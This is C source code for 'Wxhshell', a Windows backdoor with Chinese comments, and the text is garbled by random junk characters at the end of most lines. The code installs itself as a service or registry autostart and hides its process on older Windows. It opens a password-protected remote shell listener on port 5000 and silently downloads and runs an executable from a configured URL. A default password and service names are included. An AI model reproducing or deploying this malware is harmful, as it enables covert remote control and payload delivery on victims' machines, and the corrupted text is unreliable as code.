DWORD BasePriority; 5Ml=<^
ULONG UniqueProcessId; HK!ecQ^+
ULONG InheritedFromUniqueProcessId; 6$r\p2pi0
} PROCESS_BASIC_INFORMATION; Xi&J%N'
W*C~Xba<
PROCNTQSIP NtQueryInformationProcess; I$7eiW @
+&
r!%j7
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; -@#w)
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; {zFME41>g
p
u(mHB
HANDLE hProcess; F^O83[S
PROCESS_BASIC_INFORMATION pbi; T0w_d_aS
lxL5Rit@Px
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); KG'i#(u[
if(NULL == hInst ) return 0; 6TW7E}a.
n[ B~C
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 3 ~v
1 7
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); B ?VTIq>
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 7QsD"rL
@gI1:-chB
if (!NtQueryInformationProcess) return 0; fM;,9
;/K2h_=3z
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId());
zU?O)w1'
if(!hProcess) return 0; /}? 7Eni
!__0Vk[s
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; [%P#ieD4
CZ5\Et6r
CloseHandle(hProcess); #V!a<w4_
KrE'M
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ntW@Fm:bw>
if(hProcess==NULL) return 0; 9|+6@6VY!
P=94
HMODULE hMod; s\-,RQ1
char procName[255]; .9jKD*U|
unsigned long cbNeeded; z]G|)16
s*izhjjX
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); \/NF??k,jk
ukWn@q*
CloseHandle(hProcess); @?3f`l
9
js_`L#t
if(strstr(procName,"services")) return 1; // 以服务启动 8-2`S*
gF)9a_R%p
return 0; // 注册表启动 "%-Vrb=:Y
} wX,V:QE
<g[z jV9p
// 主模块 %nZl`<M
int StartWxhshell(LPSTR lpCmdLine) Z?axrGmg0
{ hS]w
A"\87
SOCKET wsl; vi,hWz8WB
BOOL val=TRUE; Y?0/f[Ax,y
int port=0; $coO~qvU
struct sockaddr_in door; X ,QsE{
ZwmucY%3
if(wscfg.ws_autoins) Install(); -#|D>
qA)OkR'm
port=atoi(lpCmdLine); cr1x
CPJj
?%,NOX
if(port<=0) port=wscfg.ws_port; un{ZysmtB6
m@4Dz|
WSADATA data; 6\4-I^=B
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Y2H-D{a27
r\Nfq(w
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; CXlbtpK2k
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); jj5S+ >4
door.sin_family = AF_INET; EApKN@<"
door.sin_addr.s_addr = inet_addr("127.0.0.1"); Z>rY9VvWD
door.sin_port = htons(port); nr!N%Hi
F-yY(b]$
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ^#/FkEt7bp
closesocket(wsl); % MHb
return 1; U&5*>fd=
} Kgbm/L0XR*
XjX
if(listen(wsl,2) == INVALID_SOCKET) { /)P}[Q4
closesocket(wsl); AYts
&+
return 1; isQ(O
} 'YL[s
Wxhshell(wsl); FwCb$yE#M
WSACleanup(); @YJI'Hf67
(f# (B2j
return 0; =*mT{q@
~Z\:Nx
} =6%oW2E\
22\!Z2@T/
// 以NT服务方式启动 EYAaK^ &
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) \(o"/*
{ oaoTd$/5
DWORD status = 0; /R)wM#&
DWORD specificError = 0xfffffff; >[}oH2oi
hx;f/EPx
serviceStatus.dwServiceType = SERVICE_WIN32; y>^a~}Zq
serviceStatus.dwCurrentState = SERVICE_START_PENDING; G95,J/w
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; {Mx(|)WkL
serviceStatus.dwWin32ExitCode = 0; 8K 3dwoT
serviceStatus.dwServiceSpecificExitCode = 0; M([#Py9h
serviceStatus.dwCheckPoint = 0; o96C^y{~S
serviceStatus.dwWaitHint = 0; xs$$fPAQ
n<I{x^!
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); rwm^{Qa
if (hServiceStatusHandle==0) return; IPiV_c-l
cnv>&6a)
status = GetLastError(); ZO0 Ee1/
if (status!=NO_ERROR) :GHv3hn5
{ \o9 \ikR
serviceStatus.dwCurrentState = SERVICE_STOPPED; )9QtnM
serviceStatus.dwCheckPoint = 0; \;LDE`Q_x
serviceStatus.dwWaitHint = 0; L4#pMc
serviceStatus.dwWin32ExitCode = status;
#&Sr;hAJ
serviceStatus.dwServiceSpecificExitCode = specificError; X#Bb?Pv
SetServiceStatus(hServiceStatusHandle, &serviceStatus); :=*deZ<
return; 9"[;ld <
} v9*m0|T0M
@-N` W9
serviceStatus.dwCurrentState = SERVICE_RUNNING; e[S`Dm"i)'
serviceStatus.dwCheckPoint = 0; 0#q=-M/?`
serviceStatus.dwWaitHint = 0; }f}. >B0#
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); x%{]'z
} ' W/M>!X
z6>@9+V-&
// 处理NT服务事件,比如:启动、停止 PnlI {d
VOID WINAPI NTServiceHandler(DWORD fdwControl) d=!:UB
{ Cy/&KWLenf
switch(fdwControl) 0YeTS!*Aj
{ -N *L1Zj
case SERVICE_CONTROL_STOP: EY}:aur
serviceStatus.dwWin32ExitCode = 0; em$pU*`P
serviceStatus.dwCurrentState = SERVICE_STOPPED; #YUaM<O
serviceStatus.dwCheckPoint = 0; 1<@SMcj>
serviceStatus.dwWaitHint = 0; mkl{Tp*
{ ,$P,x
SetServiceStatus(hServiceStatusHandle, &serviceStatus); jG5HW*>k0
} d:H'[l.F%
return; 2G8pDvBr
case SERVICE_CONTROL_PAUSE: e~'`x38
serviceStatus.dwCurrentState = SERVICE_PAUSED; `?Rq44=
break; U$rMZk
case SERVICE_CONTROL_CONTINUE: Yo-}uTkw
serviceStatus.dwCurrentState = SERVICE_RUNNING; H=t"qEp
break; XR5KJl
case SERVICE_CONTROL_INTERROGATE: Xlo7enzY
break; wb-yAQ8
}; 7*/{m K)
SetServiceStatus(hServiceStatusHandle, &serviceStatus); zM0NRERi
} I<SgKva;c
k$EVr([
// 标准应用程序主函数 K|& f5w
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Z 6jEj9?O
{ Mf}M/Fh
wBPo{
// 获取操作系统版本 8~sP{V%
OsIsNt=GetOsVer(); )8Va%{j
GetModuleFileName(NULL,ExeFile,MAX_PATH); 9
_d2u#
}x8!{Y#cF
// 从命令行安装 xo:kT )
if(strpbrk(lpCmdLine,"iI")) Install(); hy;VvAH5
IRdt:B|@
// 下载执行文件 jvT'N@
if(wscfg.ws_downexe) { E+td~&x
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) hbjAxioA
WinExec(wscfg.ws_filenam,SW_HIDE); l,ENMKA^D
} sdu?#O+c1
'sNZFB#
if(!OsIsNt) { W&z jb>0b0
// 如果时win9x,隐藏进程并且设置为注册表启动 kc,"w\ ai
HideProc(); BFLef3~.0
StartWxhshell(lpCmdLine); 7>JYwU{
} `i7r]
else U=>S|>daR
if(StartFromService()) k[=qx{Osx%
// 以服务方式启动 p!.~hw9
StartServiceCtrlDispatcher(DispatchTable); ~%{2Z_t$
else PnsBDf%v
// 普通方式启动 XtF
m5\U
StartWxhshell(lpCmdLine); GK?ual1
HpwMm^
return 0; 74s{b]jN'-
} |<%!9Z
KKeMi@N
{]vD@)k
>1y6DC
=========================================== ?ukw6T
?Ua,ba*
S_}`'Z )
Cj5mM[:s
:<%bAn
t=_^$M,yr
" K^-1M?
w~'xZ?
#include <stdio.h> 9&Y@g)+2
#include <string.h> *Cy54Z#
#include <windows.h> +A9~h/"kt
#include <winsock2.h> $ /VQsb
#include <winsvc.h> [P$Xr6#
#include <urlmon.h> UA[`{rf
DM.lQ0xk
#pragma comment (lib, "Ws2_32.lib") r8k (L{W
#pragma comment (lib, "urlmon.lib") f^c+M~\JKj
qsj{0 Go
#define MAX_USER 100 // 最大客户端连接数 p [ O6
#define BUF_SOCK 200 // sock buffer !iXRt" )
#define KEY_BUFF 255 // 输入 buffer sXKkZ+2q
lU
WXXuO]
#define REBOOT 0 // 重启 7Z-j'pq
#define SHUTDOWN 1 // 关机 -@TY8#O#-
9tiZIm93]
#define DEF_PORT 5000 // 监听端口 g40Hj Y
OATdmHW
#define REG_LEN 16 // 注册表键长度 jm0p%%z
#define SVC_LEN 80 // NT服务名长度 _=v#"l
+z
>)'#
// 从dll定义API ?H{[u rLn
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); )0{`}7X
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); QV4|f[Ki%
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); @SQsEq+A?\
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); z*@eQauA
Q=~"xB8
// wxhshell配置信息 tjdPia
struct WSCFG { A2
l?F
int ws_port; // 监听端口 |Q?h"5i"(
char ws_passstr[REG_LEN]; // 口令 A=|XlP$6
int ws_autoins; // 安装标记, 1=yes 0=no 0zt]DCdY
char ws_regname[REG_LEN]; // 注册表键名 ZR.k'
char ws_svcname[REG_LEN]; // 服务名 &(F
c .3m
char ws_svcdisp[SVC_LEN]; // 服务显示名 g` rr3jP
char ws_svcdesc[SVC_LEN]; // 服务描述信息 =]5tYIU
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 T:}Q3
int ws_downexe; // 下载执行标记, 1=yes 0=no w$2q00R>
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe"
'g v0;L
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 \ovs[&
f}otIf
}; a[{$4JpK
m*0YMS>Y |
// default Wxhshell configuration 7vRtTP
struct WSCFG wscfg={DEF_PORT, bzN[*X|
"xuhuanlingzhe", 5#Er& 6s
1, }~FX!F#oU
"Wxhshell", c-Gp|.C
"Wxhshell", gF6> /
"WxhShell Service", 0b&